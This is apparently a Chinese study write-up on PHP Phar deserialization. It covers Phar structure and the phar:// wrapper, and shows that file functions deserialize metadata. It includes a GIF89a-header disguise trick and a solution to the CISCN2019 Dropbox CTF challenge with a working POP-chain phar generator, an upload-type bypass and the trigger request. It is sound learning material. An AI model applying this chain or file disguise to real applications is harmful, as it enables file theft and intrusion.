Phar 反序列化学习

kilig sky☁️

背景知识

Phar文件

Phar 文件是 PHP Archive 的缩写,可以理解为 PHP 的“归档文件”或者“压缩包”。就像 Java 中的 JAR 文件,或者 Unix 中的 tar 文件一样,Phar 文件允许你将一个或多个文件打包成一个单独的文件。

Phar 文件的主要优点在于它提供了一种简单的方法来分发和部署 PHP 应用。你可以将一个完整的 PHP 应用(包括 PHP 源文件、图像文件、数据文件等)打包成一个 Phar 文件,然后将这个 Phar 文件分发给你的用户。用户只需要一个 Phar 文件就可以运行你的应用,而无需手动安装或管理多个文件。

举个例子

首先在php.ini中修改phar.readonly这个选项,去掉前面的分号,并改值为Off

现在我们下面这样的目录结构:

➜  htdocs tree phar 
phar
└── myapp
    └── src
        └── hello.php

hello.php文件中的内容如下:

<?php
phpinfo();

接下来,我们创建一个 PHP 来打包myapp为一个Phar文件。在phar目录下外创建一个名为 create.php的文件,内容如下:

<?php
try {
    // 创建一个新的 Phar 文件
    $phar = new Phar('myapp.phar', 0, 'myapp.phar');

    // 开始缓冲内容,让我们可以添加文件
    $phar->startBuffering();

    // 将 'myapp' 目录的内容添加到 Phar 文件
    $phar->buildFromDirectory(__DIR__ . '/myapp');

    // 设置默认的引导文件(此例中为 'src/hello.php')
    $phar->setDefaultStub('src/hello.php', 'src/hello.php');

    // 停止缓冲并保存 Phar 文件
    $phar->stopBuffering();

    echo "Phar file myapp.phar was created successfully.\n";
} catch (Exception $e) {
    // 捕获并打印任何异常
    echo "Error: " . $e->getMessage();
}

成功创建myapp.phar

➜  htdocs tree phar              
phar
├── create.php
├── myapp
│   └── src
│       └── hello.php
└── myapp.phar

现在我们在phar下创建一个index.php,在里面用include包含刚刚创建的myapp.phar

<?php
include 'myapp.phar';

由于我们在创建myapp.phar时设置了引导文件,它是Phar文件被执行时首先运行的代码段,所以这里会直接执行phpinfo()

Phar协议

phar协议是一个在 PHP 中用于访问 Phar 文件内容的特殊流包装器(stream wrapper)。其实不光是Phar 文件,phar协议还可以访问其他类型的压缩包,如 zip 和 tar 。使用的方式为:phar://压缩包/内部文件

hello.php压缩为hello.zip使用phar://hello.zip/hello.php包含(phar协议解析对phar以外的文件,似乎不能访问它们里面目录下的文件。如果将myapp压缩,phar://myapp.zip/src/hello.php是无法包含到的)

<?php
include('phar://hello.zip/hello.php');

这里也就知道了phar怎么在文件包含中利用了。

Phar反序列化

首先需要对Phar文件结构有个基础的了解。

Phar文件结构

Phar文件主要包含三至四个部分

  1. a stub
  2. a manifest describing the contents
  3. the file contents
  4. [optional] a signature for verifying Phar integrity (phar file format only)

a stub
stub是一个简单的PHP文件,一个最基础stub格式如下:

<?php __HALT_COMPILER();

stub的内容没有任何限制,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件。

Ps.PHP的解释器碰到__HALT_COMPILER(); 时解析就会停止,此函数后面的所有内容都将被忽略。之前安洵杯那道反序列化考过。

a manifest describing the contents
Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点

the file contents
被压缩文件的内容。

a signature for verifying Phar integrity
签名,放在文件末尾。

利用方式

生成phar文件的代码,phar.php

<?php
class TestObject {
}
try {
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o->name = 'skyblu3';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
} catch (Exception $e) {
    // 捕获并打印任何异常
    echo "Error: " . $e->getMessage();
}

验证代码,unphar.php

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> name; 
    }
}
include('phar://phar.phar');

用十六进制编辑器打开生成的phar.phar,可以看到其中meta-data的序列化内容

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

Ps.在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

<?php
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");

[CISCN2019 华北赛区 Day1 Web1]Dropbox

注册登录进去上传图片,这里的下载功能存在任意文件读取

读取index.php,注意这里要用相对路径./../../index.php。关键的文件有几个index.phplogin.phpclass.phpdownload.php

首先审计代码对流程有了基本的了解之后就可以开始考虑如何利用了。利用点在class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}

为了读取到flag,路径为/flag.txt。可以清晰的看到File::close存在file_get_contents方法,构造思路也比较简单,找到反序列化的入口User::__destruct顺着理下来就完事儿了。

唯一比较绕的就是FileList中的属性构造,不过审计的时候看清代码流程跟着走一遍也不难就是。

pop链构造+phar文件生成:

<?php

class User {
    public $db;
    public function __construct(){
        $this->db = new FileList();
    }
}
class FileList {
    private $files = array();
    private $results = array();
    public function __construct(){
        array_push($this->files, new File());
        $this->results['flag.txt'] = array();
    }
}

class File{
    public $filename = '/flag.txt';
}

try {
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new User();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
} catch (Exception $e) {
    // 捕获并打印任何异常
    echo "Error: " . $e->getMessage();
}

上传文件,修改Content-Type: image/jpeg即可任意文件上传,上传文件后缀会自动变为jpg,不过也不影响phar解析。

至于漏洞的触发点,通过刚刚的学习可以知道File::open中的file_exists($filename)会触发phar反序列化。download.phpdelete.php中均可以触发,但是download.php使用ini_set("open_basedir", getcwd() . ":/etc:/tmp"); 对操作目录进行了限制。

点击删除抓包,修改filename触发反序列化,成功get flag

参考链接

利用 phar 拓展 php 反序列化漏洞攻击面
PHAR反序列化拓展操作总结
php归档格式:phar文件详解(创建、使用、解包还原提取)